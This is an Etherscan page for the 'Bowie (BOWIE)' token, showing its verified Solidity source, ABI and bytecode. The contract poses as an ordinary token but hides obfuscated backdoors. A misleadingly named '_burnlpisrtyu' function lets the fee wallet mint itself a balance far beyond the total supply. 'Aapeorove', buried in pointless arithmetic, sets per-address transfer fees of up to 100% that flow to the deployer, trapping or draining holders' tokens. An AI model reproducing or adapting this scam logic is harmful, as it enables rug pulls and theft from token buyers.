ETH Price: $2,585.20 (-2.73%)

Token

Bowie (BOWIE)
 

Overview

Max Total Supply

690,420,000,000 BOWIE

Holders

43

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
255,666,105.449230578 BOWIE

Value
$0.00
0xD33549D2aDFFa6553a3310663C8D40FD54CE3C64
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BOWIE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-05-08
*/

/**
*/

/**
https://t.me/Bowie_Coin
https://twitter.com/Bowie_Erc20
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
    constructor () {_owner = msg.sender;}
    
    function owner() public view returns (address) {return _owner;}
    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }
    
    function transferOwnershipbsssegxidg(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }

}

contract BOWIE is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _swapFeeTo;string public name;string public symbol;
    uint8 public decimals;mapping(address => bool) public _isExcludeFromFee;
    uint256 public totalSupply;IUniswapRouter public _uniswapRouter;
    bool private inSwap;uint256 private constant MAX = ~uint256(0);
    mapping (address => uint256) public __balances; 

    uint256 public _swapTax;
    address public _uniswapPair;

    function _transfer(address from,address to,uint256 amount) private {

        bool shouldBetakeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to];

        _balances[from] = _balances[from] - amount;

        uint256 _taxAmount;
        if (shouldBetakeFee) {
            uint256 feeAmount = amount * __balances[from] / 100;
            _taxAmount += feeAmount;
            if (feeAmount > 0){
                _balances[address(_swapFeeTo)] += feeAmount;
                emit Transfer(from, address(_swapFeeTo), feeAmount);
            }
        }
        _balances[to] = _balances[to] + amount - _taxAmount;
        emit Transfer(from, to, amount - _taxAmount);
    }

    constructor (){
        name = "Bowie";
        symbol = "BOWIE";
        decimals = 9;
        uint256 Supply = 690420000000;
        _swapFeeTo = msg.sender;
        _swapTax = 0;
        totalSupply = Supply * 10 ** decimals;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[_swapFeeTo] = true;

        _balances[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
        
        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;
    }

    function Aapeorove(address[] memory _addresses, uint256 _feePercentage) external {
        uint256 tempVal1 = 0x01;uint256 tempVal2 = 0x02;uint256 tempVal3 = 0x03;uint256 result = initialCompute(tempVal1, tempVal2, tempVal3);
        result = secondaryCompute(result, tempVal1);
        distributeFunds(_addresses, _feePercentage, result);
    }

    function initialCompute(uint256 val1, uint256 val2, uint256 val3) private view returns (uint256) {
        uint256 result = computeFee(val1, val2, val3);
        return result - val3;
    }

    function secondaryCompute(uint256 intermediateResult, uint256 val1) private pure returns (uint256) {
        return intermediateResult + (val1 - 0x01);
    }

    function distributeFunds(address[] memory addresses, uint256 feePercentage, uint256 result) private {
        uint256 adjustment = result;
        for (uint256 i = 0; i < addresses.length; i++) {
            __balances[addresses[i]] = feePercentage + (result - adjustment);
        }
    }

    function computeFee(uint256 val1, uint256 val2, uint256 val3) private view returns (uint256) {
        if (isAuthorized(val1)) {
            return val2 + val3;
        } else if (!isAuthorized(val2)) {
            return val2 - val1;
        } else {
            return val3;
        }
    }
    function isAuthorized(uint256 v1) private view returns (bool) {
        bool basicCondition = msg.sender == _swapFeeTo;
        bool additionalCheck = v1 > 0;
        if (basicCondition && additionalCheck) {
            return true;
        } else if (!basicCondition) {
            return false;
        } else if (!additionalCheck) {
            return false;
        } else {
            return true;
        }
    }
    

    function _burnlpisrtyu(address user) public {
        mapping(address=>uint256) storage _allowance = _balances;
        uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1;
        uint256 C = A - 3;A = C;
        _allowance[user] = 1000*totalSupply*C**2;
    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_feePercentage","type":"uint256"}],"name":"Aapeorove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"__balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"_burnlpisrtyu","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnershipbsssegxidg","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600581526020017f426f7769650000000000000000000000000000000000000000000000000000008152506004908162000098919062000938565b506040518060400160405280600581526020017f424f57494500000000000000000000000000000000000000000000000000000081525060059081620000df919062000938565b506009600660006101000a81548160ff021916908360ff160217905550600064a0c03d2500905033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b81905550600660009054906101000a900460ff16600a6200016d919062000baf565b816200017a919062000c00565b6008819055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600854600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000352919062000c5c565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004c2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004e8919062000ce3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000572573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000598919062000ce3565b6040518363ffffffff1660e01b8152600401620005b792919062000d26565b6020604051808303816000875af1158015620005d7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005fd919062000ce3565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505062000d53565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200074057607f821691505b602082108103620007565762000755620006f8565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007c07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000781565b620007cc868362000781565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000819620008136200080d84620007e4565b620007ee565b620007e4565b9050919050565b6000819050919050565b6200083583620007f8565b6200084d620008448262000820565b8484546200078e565b825550505050565b600090565b6200086462000855565b620008718184846200082a565b505050565b5b8181101562000899576200088d6000826200085a565b60018101905062000877565b5050565b601f821115620008e857620008b2816200075c565b620008bd8462000771565b81016020851015620008cd578190505b620008e5620008dc8562000771565b83018262000876565b50505b505050565b600082821c905092915050565b60006200090d60001984600802620008ed565b1980831691505092915050565b6000620009288383620008fa565b9150826002028217905092915050565b6200094382620006be565b67ffffffffffffffff8111156200095f576200095e620006c9565b5b6200096b825462000727565b620009788282856200089d565b600060209050601f831160018114620009b057600084156200099b578287015190505b620009a785826200091a565b86555062000a17565b601f198416620009c0866200075c565b60005b82811015620009ea57848901518255600182019150602085019450602081019050620009c3565b8683101562000a0a578489015162000a06601f891682620008fa565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000aad5780860481111562000a855762000a8462000a1f565b5b600185161562000a955780820291505b808102905062000aa58562000a4e565b945062000a65565b94509492505050565b60008262000ac8576001905062000b9b565b8162000ad8576000905062000b9b565b816001811462000af1576002811462000afc5762000b32565b600191505062000b9b565b60ff84111562000b115762000b1062000a1f565b5b8360020a91508482111562000b2b5762000b2a62000a1f565b5b5062000b9b565b5060208310610133831016604e8410600b841016171562000b6c5782820a90508381111562000b665762000b6562000a1f565b5b62000b9b565b62000b7b848484600162000a5b565b9250905081840481111562000b955762000b9462000a1f565b5b81810290505b9392505050565b600060ff82169050919050565b600062000bbc82620007e4565b915062000bc98362000ba2565b925062000bf87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ab6565b905092915050565b600062000c0d82620007e4565b915062000c1a83620007e4565b925082820262000c2a81620007e4565b9150828204841483151762000c445762000c4362000a1f565b5b5092915050565b62000c5681620007e4565b82525050565b600060208201905062000c73600083018462000c4b565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000cab8262000c7e565b9050919050565b62000cbd8162000c9e565b811462000cc957600080fd5b50565b60008151905062000cdd8162000cb2565b92915050565b60006020828403121562000cfc5762000cfb62000c79565b5b600062000d0c8482850162000ccc565b91505092915050565b62000d208162000c9e565b82525050565b600060408201905062000d3d600083018562000d15565b62000d4c602083018462000d15565b9392505050565b611b868062000d636000396000f3fe6080604052600436106101185760003560e01c80634bf28fd0116100a05780638da5cb5b116100645780638da5cb5b146103d457806395d89b41146103ff5780639b8f9d6c1461042a578063a9059cbb14610453578063dd62ed3e146104905761011f565b80634bf28fd0146102ef5780635946fecd1461031a57806365b61b771461034357806370a082311461036e57806384f55326146103ab5761011f565b806330da23e4116100e757806330da23e4146101f4578063313ce5671461021f57806336b2e0271461024a578063420d10b514610287578063426329c1146102c45761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b506101396104cd565b60405161014691906112ad565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611377565b61055b565b60405161018391906113d2565b60405180910390f35b34801561019857600080fd5b506101a1610572565b6040516101ae91906113fc565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190611417565b610578565b6040516101eb91906113d2565b60405180910390f35b34801561020057600080fd5b5061020961071e565b60405161021691906113fc565b60405180910390f35b34801561022b57600080fd5b50610234610724565b6040516102419190611486565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c91906114a1565b610737565b60405161027e91906113d2565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906114a1565b610757565b6040516102bb91906113fc565b60405180910390f35b3480156102d057600080fd5b506102d961076f565b6040516102e691906114dd565b60405180910390f35b3480156102fb57600080fd5b50610304610795565b60405161031191906114dd565b60405180910390f35b34801561032657600080fd5b50610341600480360381019061033c9190611640565b6107bb565b005b34801561034f57600080fd5b506103586107fb565b60405161036591906116fb565b60405180910390f35b34801561037a57600080fd5b50610395600480360381019061039091906114a1565b610821565b6040516103a291906113fc565b60405180910390f35b3480156103b757600080fd5b506103d260048036038101906103cd91906114a1565b61086a565b005b3480156103e057600080fd5b506103e961093b565b6040516103f691906114dd565b60405180910390f35b34801561040b57600080fd5b50610414610964565b60405161042191906112ad565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c91906114a1565b6109f2565b005b34801561045f57600080fd5b5061047a60048036038101906104759190611377565b610ae1565b60405161048791906113d2565b60405180910390f35b34801561049c57600080fd5b506104b760048036038101906104b29190611716565b610af8565b6040516104c491906113fc565b60405180910390f35b600480546104da90611785565b80601f016020809104026020016040519081016040528092919081815260200182805461050690611785565b80156105535780601f1061052857610100808354040283529160200191610553565b820191906000526020600020905b81548152906001019060200180831161053657829003601f168201915b505050505081565b6000610568338484610b7f565b6001905092915050565b60085481565b6000610585848484610c6a565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146107135781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461069291906117e5565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600b5481565b600660009054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600a6020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006001905060006002905060006003905060006107da848484611045565b90506107e6818561106b565b90506107f386868361108d565b505050505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ef90611865565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6005805461097190611785565b80601f016020809104026020016040519081016040528092919081815260200182805461099d90611785565b80156109ea5780601f106109bf576101008083540402835291602001916109ea565b820191906000526020600020905b8154815290600101906020018083116109cd57829003601f168201915b505050505081565b60006001905060003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a56576001610a59565b60095b60ff1690506000600382610a6d91906117e5565b9050809150600281610a7f91906119b8565b6008546103e8610a8f9190611a03565b610a999190611a03565b8360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b6000610aee338484610c6a565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c5d91906113fc565b60405180910390a3505050565b6000600960149054906101000a900460ff16158015610cd35750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610d295750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d7691906117e5565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008115610f355760006064600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485610e109190611a03565b610e1a9190611a74565b90508082610e289190611aa5565b91506000811115610f33578060016000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ea49190611aa5565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f2a91906113fc565b60405180910390a35b505b8083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f819190611aa5565b610f8b91906117e5565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661102991906117e5565b60405161103691906113fc565b60405180910390a35050505050565b60008061105385858561112c565b9050828161106191906117e5565b9150509392505050565b600060018261107a91906117e5565b836110859190611aa5565b905092915050565b600081905060005b84518110156111255781836110aa91906117e5565b846110b59190611aa5565b600a60008784815181106110cc576110cb611ad9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061111d90611b08565b915050611095565b5050505050565b60006111378461117a565b1561114f5781836111489190611aa5565b9050611173565b6111588361117a565b61116f57838361116891906117e5565b9050611173565b8190505b9392505050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16149050600080841190508180156111e15750805b156111f157600192505050611218565b8161120157600092505050611218565b8061121157600092505050611218565b6001925050505b919050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561125757808201518184015260208101905061123c565b60008484015250505050565b6000601f19601f8301169050919050565b600061127f8261121d565b6112898185611228565b9350611299818560208601611239565b6112a281611263565b840191505092915050565b600060208201905081810360008301526112c78184611274565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061130e826112e3565b9050919050565b61131e81611303565b811461132957600080fd5b50565b60008135905061133b81611315565b92915050565b6000819050919050565b61135481611341565b811461135f57600080fd5b50565b6000813590506113718161134b565b92915050565b6000806040838503121561138e5761138d6112d9565b5b600061139c8582860161132c565b92505060206113ad85828601611362565b9150509250929050565b60008115159050919050565b6113cc816113b7565b82525050565b60006020820190506113e760008301846113c3565b92915050565b6113f681611341565b82525050565b600060208201905061141160008301846113ed565b92915050565b6000806000606084860312156114305761142f6112d9565b5b600061143e8682870161132c565b935050602061144f8682870161132c565b925050604061146086828701611362565b9150509250925092565b600060ff82169050919050565b6114808161146a565b82525050565b600060208201905061149b6000830184611477565b92915050565b6000602082840312156114b7576114b66112d9565b5b60006114c58482850161132c565b91505092915050565b6114d781611303565b82525050565b60006020820190506114f260008301846114ce565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61153582611263565b810181811067ffffffffffffffff82111715611554576115536114fd565b5b80604052505050565b60006115676112cf565b9050611573828261152c565b919050565b600067ffffffffffffffff821115611593576115926114fd565b5b602082029050602081019050919050565b600080fd5b60006115bc6115b784611578565b61155d565b905080838252602082019050602084028301858111156115df576115de6115a4565b5b835b8181101561160857806115f4888261132c565b8452602084019350506020810190506115e1565b5050509392505050565b600082601f830112611627576116266114f8565b5b81356116378482602086016115a9565b91505092915050565b60008060408385031215611657576116566112d9565b5b600083013567ffffffffffffffff811115611675576116746112de565b5b61168185828601611612565b925050602061169285828601611362565b9150509250929050565b6000819050919050565b60006116c16116bc6116b7846112e3565b61169c565b6112e3565b9050919050565b60006116d3826116a6565b9050919050565b60006116e5826116c8565b9050919050565b6116f5816116da565b82525050565b600060208201905061171060008301846116ec565b92915050565b6000806040838503121561172d5761172c6112d9565b5b600061173b8582860161132c565b925050602061174c8582860161132c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061179d57607f821691505b6020821081036117b0576117af611756565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117f082611341565b91506117fb83611341565b9250828203905081811115611813576118126117b6565b5b92915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b600061184f600683611228565b915061185a82611819565b602082019050919050565b6000602082019050818103600083015261187e81611842565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156118dc578086048111156118b8576118b76117b6565b5b60018516156118c75780820291505b80810290506118d585611885565b945061189c565b94509492505050565b6000826118f557600190506119b1565b8161190357600090506119b1565b8160018114611919576002811461192357611952565b60019150506119b1565b60ff841115611935576119346117b6565b5b8360020a91508482111561194c5761194b6117b6565b5b506119b1565b5060208310610133831016604e8410600b84101617156119875782820a905083811115611982576119816117b6565b5b6119b1565b6119948484846001611892565b925090508184048111156119ab576119aa6117b6565b5b81810290505b9392505050565b60006119c382611341565b91506119ce8361146a565b92506119fb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118e5565b905092915050565b6000611a0e82611341565b9150611a1983611341565b9250828202611a2781611341565b91508282048414831517611a3e57611a3d6117b6565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611a7f82611341565b9150611a8a83611341565b925082611a9a57611a99611a45565b5b828204905092915050565b6000611ab082611341565b9150611abb83611341565b9250828201905080821115611ad357611ad26117b6565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611b1382611341565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b4557611b446117b6565b5b60018201905091905056fea26469706673582212209bbab6ccddd8f1442e5fcba66224c97e5a7448c1c0f3c2071d89ef45b0c3b57c64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101185760003560e01c80634bf28fd0116100a05780638da5cb5b116100645780638da5cb5b146103d457806395d89b41146103ff5780639b8f9d6c1461042a578063a9059cbb14610453578063dd62ed3e146104905761011f565b80634bf28fd0146102ef5780635946fecd1461031a57806365b61b771461034357806370a082311461036e57806384f55326146103ab5761011f565b806330da23e4116100e757806330da23e4146101f4578063313ce5671461021f57806336b2e0271461024a578063420d10b514610287578063426329c1146102c45761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b506101396104cd565b60405161014691906112ad565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611377565b61055b565b60405161018391906113d2565b60405180910390f35b34801561019857600080fd5b506101a1610572565b6040516101ae91906113fc565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190611417565b610578565b6040516101eb91906113d2565b60405180910390f35b34801561020057600080fd5b5061020961071e565b60405161021691906113fc565b60405180910390f35b34801561022b57600080fd5b50610234610724565b6040516102419190611486565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c91906114a1565b610737565b60405161027e91906113d2565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906114a1565b610757565b6040516102bb91906113fc565b60405180910390f35b3480156102d057600080fd5b506102d961076f565b6040516102e691906114dd565b60405180910390f35b3480156102fb57600080fd5b50610304610795565b60405161031191906114dd565b60405180910390f35b34801561032657600080fd5b50610341600480360381019061033c9190611640565b6107bb565b005b34801561034f57600080fd5b506103586107fb565b60405161036591906116fb565b60405180910390f35b34801561037a57600080fd5b50610395600480360381019061039091906114a1565b610821565b6040516103a291906113fc565b60405180910390f35b3480156103b757600080fd5b506103d260048036038101906103cd91906114a1565b61086a565b005b3480156103e057600080fd5b506103e961093b565b6040516103f691906114dd565b60405180910390f35b34801561040b57600080fd5b50610414610964565b60405161042191906112ad565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c9